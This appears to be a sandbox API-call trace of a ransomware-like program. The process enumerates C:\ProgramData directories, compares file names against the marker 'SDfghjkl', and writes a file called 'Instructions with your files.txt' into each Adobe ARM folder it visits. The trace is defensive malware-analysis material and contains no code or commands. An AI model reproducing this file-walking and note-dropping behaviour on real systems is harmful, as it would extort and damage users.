[0118.670] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0118.670] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\..") returned 31
[0118.671] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 1
[0118.671] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0") returned 42
[0118.671] GetProcessHeap () returned 0x810000
[0118.671] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0118.671] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*") returned 44
[0118.671] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0118.675] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\.") returned 44
[0118.675] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0118.675] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\..") returned 45
[0118.676] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e186d00, ftCreationTime.dwHighDateTime=0x1cfb543, ftLastAccessTime.dwLowDateTime=0x7e186d00, ftLastAccessTime.dwHighDateTime=0x1cfb543, ftLastWriteTime.dwLowDateTime=0x7e186d00, ftLastWriteTime.dwHighDateTime=0x1cfb543, nFileSizeHigh=0x0, nFileSizeLow=0x3d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrSecUpd10111.msp", cAlternateFileName="ADBERD~2.MSP")) returned 1
[0118.676] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 65
[0118.676] StrStrIW (lpFirst="AdbeRdrSecUpd10111.msp", lpSrch="SDfghjkl") returned 0x0
[0118.676] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4450880, ftCreationTime.dwHighDateTime=0x1cf6c45, ftLastAccessTime.dwLowDateTime=0xb4450880, ftLastAccessTime.dwHighDateTime=0x1cf6c45, ftLastWriteTime.dwLowDateTime=0xb4450880, ftLastWriteTime.dwHighDateTime=0x1cf6c45, nFileSizeHigh=0x0, nFileSizeLow=0x10e3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10110_MUI.msp", cAlternateFileName="ADBERD~1.MSP")) returned 1
[0118.676] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned 66
[0118.676] StrStrIW (lpFirst="AdbeRdrUpd10110_MUI.msp", lpSrch="SDfghjkl") returned 0x0
[0118.676] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2540cc00, ftCreationTime.dwHighDateTime=0x1d1056e, ftLastAccessTime.dwLowDateTime=0x2540cc00, ftLastAccessTime.dwHighDateTime=0x1d1056e, ftLastWriteTime.dwLowDateTime=0x2540cc00, ftLastWriteTime.dwHighDateTime=0x1d1056e, nFileSizeHigh=0x0, nFileSizeLow=0x109d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10116_MUI.msp", cAlternateFileName="ADBERD~3.MSP")) returned 1
[0118.676] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned 66
[0118.676] StrStrIW (lpFirst="AdbeRdrUpd10116_MUI.msp", lpSrch="SDfghjkl") returned 0x0
[0118.676] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2540cc00, ftCreationTime.dwHighDateTime=0x1d1056e, ftLastAccessTime.dwLowDateTime=0x2540cc00, ftLastAccessTime.dwHighDateTime=0x1d1056e, ftLastWriteTime.dwLowDateTime=0x2540cc00, ftLastWriteTime.dwHighDateTime=0x1d1056e, nFileSizeHigh=0x0, nFileSizeLow=0x109d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10116_MUI.msp", cAlternateFileName="ADBERD~3.MSP")) returned 0
[0118.676] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\Instructions with your files.txt") returned 75
[0118.676] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\Instructions with your files.txt" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0118.676] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0118.677] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0118.677] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0118.677] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0118.677] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0118.678] CloseHandle (hObject=0x110) returned 1
[0118.678] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0118.678] GetProcessHeap () returned 0x810000
[0118.678] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0118.678] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 0
[0118.678] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Instructions with your files.txt") returned 61
[0118.678] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Instructions with your files.txt" (normalized: "c:\\programdata\\adobe\\arm\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0118.687] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0118.688] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0118.688] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0118.688] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0118.688] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0118.688] CloseHandle (hObject=0x10c) returned 1
[0118.688] FindClose (in: hFindFile=0x876bf8 | out: hFindFile=0x876bf8) returned 1
[0118.688] GetProcessHeap () returned 0x810000
[0118.688] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0118.688] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 0
[0118.688] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Instructions with your files.txt") returned 57
[0118.688] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Instructions with your files.txt" (normalized: "c:\\programdata\\adobe\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0118.712] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0118.714] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0118.714] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0118.714] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0118.714] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0118.714] CloseHandle (hObject=0x108) returned 1
[0118.715] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0118.715] GetProcessHeap () returned 0x810000
[0118.715] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0118.715] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
[0118.715] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Application Data") returned 35
[0118.715] GetProcessHeap () returned 0x810000
[0118.715] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0118.715] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Application Data\\*") returned 37
[0118.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Application Data\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0118.715] GetProcessHeap () returned 0x810000
[0118.715] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0118.715] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
[0118.715] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Desktop") returned 26
[0118.715] GetProcessHeap () returned 0x810000
[0118.715] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0118.715] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Desktop\\*") returned 28
[0118.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Desktop\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0118.715] GetProcessHeap () returned 0x810000
[0118.715] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0118.715] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
[0118.715] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Documents") returned 28
[0118.715] GetProcessHeap () returned 0x810000
[0118.715] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0118.716] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Documents\\*") returned 30
[0118.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Documents\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0118.716] GetProcessHeap () returned 0x810000
[0118.716] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0118.716] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1
[0118.716] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Favorites") returned 28
[0118.716] GetProcessHeap () returned 0x810000
[0118.716] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0118.716] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Favorites\\*") returned 30
[0118.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Favorites\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0118.716] GetProcessHeap () returned 0x810000
[0118.716] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0118.716] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
[0118.716] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft") returned 28
[0118.716] GetProcessHeap () returned 0x810000
[0118.716] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0118.716] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\*") returned 30
[0118.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876bf8
[0118.716] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\.") returned 30
[0118.716] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0118.716] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0118.716] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\..") returned 31
[0118.716] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0118.716] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assistance", cAlternateFileName="ASSIST~1")) returned 1
[0118.716] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance") returned 39
[0118.716] GetProcessHeap () returned 0x810000
[0118.717] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0118.717] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\*") returned 41
[0118.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0118.717] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\.") returned 41
[0118.717] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
